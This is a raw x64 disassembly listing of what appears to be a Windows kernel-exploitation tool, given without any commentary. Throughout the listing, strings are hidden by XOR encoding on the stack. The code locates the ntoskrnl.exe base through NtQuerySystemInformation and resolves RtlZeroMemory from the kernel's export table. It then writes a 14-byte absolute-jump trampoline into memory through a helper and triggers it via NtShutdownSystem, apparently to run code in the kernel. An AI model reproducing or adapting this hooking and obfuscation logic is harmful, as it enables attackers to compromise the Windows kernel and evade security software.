mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1560], rax
movabs rax, 0x84df4e91305da810
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1568], rax
movabs r12, 0x36576b561770e1c1
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1570], rax
movabs r15, 0x7656751b6e2b338a
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1578], rax
vmovdqu ymm0, ymmword [rbp + 0x1560]
vpxor ymm0, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x1a0], ymm0
lea rcx, [rbp + 0x1a0]
vzeroupper
call fcn.140001260
mov ecx, dword [rdi + 0x54]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov r8d, dword [rdi + 0x54]
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0xc98]
call fcn.140004440
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movabs rax, 0xb698adcc05430acc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x180], rax
movabs rax, 0xe8b33bff102eda75
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x188], rax
movabs rax, 0x36576b56177a85a4
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x190], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x198], rax
movabs rax, 0xd2f9c8a4251e2197
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1520], rax
movabs rsi, 0x84df4e91305da810
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1528], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1530], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1538], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x1520]
vmovdqa ymmword [rbp + 0x180], ymm1
lea rcx, [rbp + 0x180]
vzeroupper
call fcn.140001260
lea rcx, [rbp + 0xc98]
call fcn.140004640
mov rax, qword [rbp + 0xf68]
mov edi, dword [rax + 0x50]
mov ecx, dword [rax + 0x54]
sub rdi, rcx
mov qword [rbp + 0x18], rdi
mov eax, dword [r13]
cmp dword [0x14001af80], eax
jle 0x14000c153
lea rcx, [0x14001af80]
call fcn.140012308
cmp dword [0x14001af80], 0xffffffff
jne 0x14000c153
mov r15, r14
mov dword [rbp + 0x508], r14d
lea r9, [rbp + 0x508]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000bf2f
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x508]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
lea r9, [rbp + 0x508]
mov r8d, dword [rbp + 0x508]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000bee0
test eax, eax
jns 0x14000bf49
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000c11e
mov r13d, r14d
cmp dword [r15], 0
jbe 0x14000c109
nop word [rax + rax]
mov eax, r13d
mov qword [rbp + 0x50], rax
imul rcx, rax, 0x128
lea rbx, [r15 + rcx]
movzx eax, word [rbx + 0x2e]
add rax, r15
lea rdx, [rcx + 0x30]
add rdx, rax
lea rcx, [rbp + 0xf10]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xf10]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14000c0f1
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xd30]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x4a8]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xd30]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xd30]
call fcn.14000e700
nop
lea rcx, [rbp + 0x4a8]
call fcn.14000e070
lea rcx, [rbp + 0xd30]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000c23c
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14000c23c
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x14000c23c
mov eax, ecx
mov r12d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r12]
mov qword [rbp + 0x58], rcx
mov ebx, dword [rax + rsi + 0x20]
add rbx, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp + 8], rax
mov edi, r14d
test r12d, r12d
je 0x14000c0e4
nop dword [rax + rax]
mov edx, dword [rbx]
add rdx, rsi
lea rcx, str.RtlZeroMemory
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000c20a
inc edi
add rbx, 4
cmp edi, r12d
jb 0x14000c0c0
lea rcx, [rbp + 0xd30]
call fcn.14000e070
nop
lea rcx, [rbp + 0xf10]
call fcn.14000e070
inc r13d
cmp r13d, dword [r15]
jb 0x14000bf60
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r13, qword [rbp + 0x30]
mov qword [0x14001af70], r14
lea rcx, [0x14001af80]
call fcn.1400122a8
mov rdi, qword [rbp + 0x18]
movabs rsi, 0x84df4e91305da810
movabs r15, 0x7656751b6e2b338a
movabs r12, 0x36576b561770e1c1
mov rbx, qword [0x14001af70]
mov eax, dword [r13]
cmp dword [0x14001ad98], eax
jle 0x14000c1ab
lea rcx, [0x14001ad98]
call fcn.140012308
cmp dword [0x14001ad98], 0xffffffff
jne 0x14000c1ab
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001adb8], rax
lea rcx, [0x14001ad98]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001aeb0], eax
jle 0x14000c1f0
lea rcx, [0x14001aeb0]
call fcn.140012308
cmp dword [0x14001aeb0], 0xffffffff
jne 0x14000c1f0
lea rcx, [0x14001ad40]
call fcn.140002270
lea rcx, [0x140013ed0]
call fcn.140012650
lea rcx, [0x14001aeb0]
call fcn.1400122a8
lea rcx, [0x14001ad40]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x14000c25a
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
nop
movsxd rax, edi
mov rcx, qword [rbp + 8]
movzx ecx, word [rcx + rax*2]
mov rax, qword [rbp + 0x58]
mov r14d, dword [rax + rcx*4]
imul rax, qword [rbp + 0x50], 0x128
add r14, qword [rax + r15 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xd30]
call fcn.14000e070
nop
lea rcx, [rbp + 0xf10]
call fcn.14000e070
jmp 0x14000c11a
mov dword [rbp + 0x1580], 0x25ff
mov word [rbp + 0x1584], 0
mov qword [rbp + 0x1586], rbx
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1670]
lea rcx, [rbp + 0xf80]
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1580]
lea rcx, [rbp + 0xfc0]
call fcn.14000d0d0
mov rdx, rdi
mov rcx, qword [rbp + 0x10]
call qword [0x14001adb8]
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1670]
lea rcx, [rbp + 0xfc0]
call fcn.14000d0d0
lea rcx, [0x14001ad40]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r8d, 0x62346c6c
mov rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0xf80]
call fcn.140003890
movabs rax, 0xbc8badcf05430acc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x160], rax
movabs rax, 0xf6ba3aff597dc475
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x168], rax
movabs rax, 0x5a391e76721380a7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x170], rax
movabs rax, 0x76567f7f0b4f52e5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x178], rax
movabs rbx, 0xd2f9c8a4251e2197
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1540], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1548], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1550], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1558], rax
vmovdqu ymm0, ymmword [rbp + 0x1540]
vpxor ymm0, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x160], ymm0
lea rcx, [rbp + 0x160]
vzeroupper
call fcn.140001260
mov rcx, qword [0x14001afa0]
test rcx, rcx
je 0x14000c3e7
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x14001af98]
test rcx, rcx
je 0x14000c3f9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0xa19cbad405430acc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x80], rax
movabs rax, 0xe1b46ee85e3c8863
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x88], rax
movabs rax, 0x593b08767804c1b8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x90], rax
movabs rax, 0x76567f35400556f9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e8], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12f0], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12f8], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x12e0]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.140001260
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
nop
lea rcx, [rbp + 0xcd0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xf30]
call fcn.14000cfa0
nop
lea rcx, [rbp + 0xf80]
call fcn.14000cf40
nop
lea rcx, [rbp + 0x1000]
call fcn.140001910
nop
lea rcx, [rbp + 0x1040]
call fcn.140001910
nop
lea rcx, [rbp + 0xcb8]
call fcn.140001940
xor eax, eax
jmp 0x14000c6bf
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
nop
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
nop
movabs rax, 0xb098a6d1054300cc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x80], rax
movabs rax, 0xebb36efe447dcd7c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x88], rax
movabs rax, 0x53390723615085a0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x90], rax
movabs rax, 0x432557e024952f8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x98], rax
movabs rax, 0x4425f4128a435be2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa0], rax
movabs r12, 0x8f62a5f520fc46b4
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e8], rax
movabs rax, 0x36576b561770e1c1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12f0], rax
movabs rax, 0x7656751b6e2b338a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12f8], rax
movabs rcx, 0x4425f418f8262d8b
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1300], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1308], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x12e0]
vmovdqa xmm0, xmmword [rbp + 0xa0]
vpxor xmm0, xmm0, xmmword [rbp + 0x1300]
vmovdqa xmmword [rbp + 0xa0], xmm0
lea rcx, [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
vzeroupper
call fcn.140001260
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
nop
lea rcx, [rbp + 0xcb8]
call fcn.140001940
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x1aa0]
xor rcx, rsp
call fcn.1400120f0
lea r11, [rsp + 0x1b10]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret